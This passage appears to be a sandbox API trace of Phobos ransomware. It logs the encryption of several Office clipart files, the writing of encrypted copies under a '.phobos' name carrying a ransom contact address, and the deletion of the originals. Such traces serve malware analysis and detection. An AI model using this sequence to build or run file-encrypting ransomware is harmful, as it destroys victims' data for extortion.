CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0181.980] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x5bc, lpOverlapped=0x0) returned 1 [0182.118] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5c0) returned 1 [0182.118] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x5c0, lpOverlapped=0x0) returned 1 [0182.119] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1510) returned 1 [0182.119] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.119] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.119] CryptDestroyKey (hKey=0x1d1510) returned 1 [0182.119] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.119] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0182.119] CloseHandle (hObject=0x2e0) returned 1 [0182.119] CloseHandle (hObject=0x2c8) returned 1 [0182.119] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0182.121] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.121] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=10644) returned 1 [0182.121] CloseHandle (hObject=0x2c8) returned 1 [0182.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0182.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.122] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.122] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.122] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a10) returned 1 [0182.122] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.122] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2994, lpOverlapped=0x0) returned 1 [0182.197] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x29a0) returned 1 [0182.198] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x29a0, lpOverlapped=0x0) returned 1 [0182.198] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0182.198] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.198] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.199] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.199] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.199] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.199] CloseHandle (hObject=0x2c8) returned 1 [0182.199] CloseHandle (hObject=0x2e0) returned 1 [0182.199] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0182.201] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.201] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2116) returned 1 [0182.201] CloseHandle (hObject=0x2e0) returned 1 [0182.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0182.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.202] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.202] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.203] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1850) returned 1 [0182.203] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.203] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x844, lpOverlapped=0x0) returned 1 [0182.329] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x850, dwBufLen=0x850 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x850) returned 1 [0182.329] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x850, lpOverlapped=0x0) returned 1 [0182.332] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1410) returned 1 [0182.335] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.340] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.340] CryptDestroyKey (hKey=0x1d1410) returned 1 [0182.340] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.340] CryptDestroyKey (hKey=0x1d1850) returned 1 [0182.340] CloseHandle (hObject=0x2e0) returned 1 [0182.340] CloseHandle (hObject=0x2c8) returned 1 [0182.340] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0182.342] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.342] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=9300) returned 1 [0182.343] CloseHandle (hObject=0x2c8) returned 1 [0182.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0182.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.343] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.343] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.344] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0182.344] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.344] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2454, lpOverlapped=0x0) returned 1 [0182.556] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2460, dwBufLen=0x2460 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2460) returned 1 [0182.556] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2460, lpOverlapped=0x0) returned 1 [0182.557] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0182.557] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.557] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.557] CryptDestroyKey (hKey=0x1d1910) returned 1 [0182.557] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.557] CryptDestroyKey (hKey=0x1d1590) returned 1 [0182.557] CloseHandle (hObject=0x2c8) returned 1 [0182.557] CloseHandle (hObject=0x2e0) returned 1 [0182.557] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0182.559] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.559] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4032) returned 1 [0182.559] CloseHandle (hObject=0x2e0) returned 1 [0182.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0182.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.560] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.560] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.560] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1450) returned 1 [0182.560] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.560] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xfc0, lpOverlapped=0x0) returned 1 [0182.573] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xfd0) returned 1 [0182.573] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xfd0, lpOverlapped=0x0) returned 1 [0182.574] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1890) returned 1 [0182.574] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.574] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.574] CryptDestroyKey (hKey=0x1d1890) returned 1 [0182.574] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.574] CryptDestroyKey (hKey=0x1d1450) returned 1 [0182.574] CloseHandle (hObject=0x2e0) returned 1 [0182.574] CloseHandle (hObject=0x2c8) returned 1 [0182.574] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0182.576] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.576] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4340) returned 1 [0182.576] CloseHandle (hObject=0x2c8) returned 1 [0182.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0182.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.577] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.577] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.577] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d16d0) returned 1 [0182.577] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.577] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x10f4, lpOverlapped=0x0) returned 1 [0182.605] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1100, dwBufLen=0x1100 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1100) returned 1 [0182.605] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1100, lpOverlapped=0x0) returned 1 [0182.606] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1710) returned 1 [0182.606] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.606] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.606] CryptDestroyKey (hKey=0x1d1710) returned 1 [0182.606] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.606] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.606] CloseHandle (hObject=0x2c8) returned 1 [0182.606] CloseHandle (hObject=0x2e0) returned 1 [0182.606] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0182.608] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 